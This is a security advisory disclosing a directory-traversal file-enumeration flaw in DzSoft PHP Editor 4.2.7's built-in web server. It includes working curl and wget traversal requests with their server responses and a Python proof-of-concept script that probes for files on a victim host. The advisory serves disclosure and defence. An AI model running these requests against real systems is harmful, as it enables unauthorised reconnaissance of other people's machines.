DzSoft PHP Editor 4.2.7 – File Enumeration
[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/DZSOFT-v4.2.7-PHP-EDITOR-FILE-ENUMERATION.txt [+] ISR: ApparitionSec Vendor: ============== www.dzsoft.com Product: ========================= DzSoft PHP Editor v4.2.7 DzSoft PHP Editor is a tool for writing and testing PHP and HTML pages. Vulnerability Type: ==================== File Enumeration CVE Reference: ============== N/A Security Issue: ================ DzSoft comes with a built-in web server used to preview PHP files, the built-in web server is prone to file enumeration attacks when combining "HEAD" method HTTP requests with directory traversal "\../../" type attacks. This can aid attackers in information gathering (File enumeration) to help in possibly furthering attacks. On install DzSoft users get Windows network warning like: "Allow Dzsoft to communicate on these networks:" Private networks, such as my home or work network Public networks, such as those in airports and coffee shops (not recommended). This selection will create Firewall rule and determine remote connections allowed to DzSoft editors built-in server. Then when remote user make HTTP request to DzSoft they will get HTTP 403 Forbidden from the built-in web server. e.g. curl -v "http://VICTIM-IP/\../mysql/data/mysql.pid" < HTTP/1.1 403 Forbidden < Content-Type: text/html < Content-Length: 1554 < <HTML> <HEAD> <TITLE>403 Forbidden</TITLE> </HEAD> <BODY> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <!-- ---------------------------------------------------------------------------------------------------- --> <H1>Forbidden</H1> <p>For security reasons, you cannot access the built-in web server of DzSoft PHP Editor from another computer.</p> <p>If you see this message within DzSoft PHP Editor's window, or if you think that there might be reasons to enable access from other computers, </BODY> </HTML> * Connection #0 to host x.x.x.x left intact However, this 403 Forbidden access control can be bypassed by malicious users to "stat" files in and outside the webroot. e.g. mysql directory. File enumeration Conditions: These setting is found under Run / Run Options / Paramaters tab a) DZSoft built-in web server is running b) DZSoft built-in web servers "REMOTE_HOST=x.x.x.x" and "REMOTE_ADDR=x.x.x.x" is set to a real IP other than localhost. For POC create and save a PHP file under XAMPP/htdocs and run DzSoft built-in web server in preview mode. Next make request for "mysql/my-huge.ini" to see if exists. C:\>curl -v -I "http://VICTIM-IP/\../mysql/my-huge.ini" * Trying VICTIM-IP... * Connected to VICTIM-IP (VICTIM-IP) port 80 (#0) > HEAD /\../mysql/my-huge.ini HTTP/1.1 > User-Agent: curl/7.41.0 > Host: VICTIM-IP > Accept: */* > < HTTP/1.1 200 OK HTTP/1.1 200 OK < Content-Type: Content-Type: < Content-Length: 5057 Content-Length: 5057 < Cache-Control: no-cache Cache-Control: no-cache Checking for "mysql.pid" ///////////////////////// C:\>curl -v -I "http://VICTIM-IP/\../mysql/data/mysql.pid" * Trying VICTIM-IP... * Connected to VICTIM-IP (VICTIM-IP) port 80 (#0) > HEAD /\../mysql/data/mysql.pid HTTP/1.1 > User-Agent: curl/7.41.0 > Host: VICTIM-IP > Accept: */* > < HTTP/1.1 200 OK HTTP/1.1 200 OK < Content-Type: Content-Type: < Content-Length: 5 Content-Length: 5 < Cache-Control: no-cache Cache-Control: no-cache < Expires: 0 Checking for "xampp_shell.bat" /////////////////////////////// C:\>curl -v -I "http://VICTIM-IP/\../xampp_shell.bat" * Trying VICTIM-IP... * Connected to VICTIM-IP (VICTIM-IP) port 80 (#0) > HEAD /\../xampp_shell.bat HTTP/1.1 > User-Agent: curl/7.41.0 > Host: VICTIM-IP > Accept: */* > < HTTP/1.1 200 OK HTTP/1.1 200 OK < Content-Type: Content-Type: < Content-Length: 1084 Content-Length: 1084 < Cache-Control: no-cache These also work... [root@localhost local]# wget -S --spider "http://VICTIM-IP:8080/\../mysql/my-huge.ini" --10:26:21-- http://VICTIM-IP:8080/%5C../mysql/my-huge.ini Connecting to VICTIM-IP:8080... connected. HTTP request sent, awaiting response... HTTP/1.0 200 OK Content-Type: Content-Length: 5057 Cache-Control: no-cache Expires: 0 Length: 5057 (4.9K) [] 200 OK [root@localhost local]# wget -S --spider "http://VICTIM-IP:8080/\../mysql/my-innodb-heavy-4G.ini" --10:29:03-- http://VICTIM-IP:8080/%5C../mysql/my-innodb-heavy-4G.ini Connecting to VICTIM-IP:8080... connected. HTTP request sent, awaiting response... HTTP/1.0 200 OK Content-Type: Content-Length: 20906 Cache-Control: no-cache Expires: 0 Length: 20906 (20K) [] 200 OK Tested Windows XAMPP, Linux / curl curl 7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 ////////////////////////////////////////// Next, target files on C:\ Drive. Bypass 401 Forbidden to enumerate a file on C:\ drive named "hi.txt" wget "http://127.0.0.1:8088/c/hi.txt" -c --header="Range: bytes=0" Exploit/POC: ============= In DZSoft PHP Editor 1) Change DzSoft web server options for remote address to IP other than localhost. 2) Create test PHP file deploy under xampp/htdocs or whatever Apache your using. 3) Start DzSofts built-in webserver to preview PHP file Then, import socket print 'DzSoft File Enumeration POC' print 'Hyp3rlinx / ApparitionSec' IP=raw_input("[IP]>") PORT=int(raw_input("[PORT]>")) DEPTH=int(raw_input("[DEPTH]>")) FILE=raw_input("[FILE]>") ENUM="HEAD "+"/\\" ENUM+="../"*DEPTH+FILE+ " HTTP/1.0\r\n\r\n" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((IP,PORT)) s.send(ENUM) print 'Enumerating file:' print ENUM output = s.recv(128) print output s.close() Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ================================== Vendor Notification: No reply March 27, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). |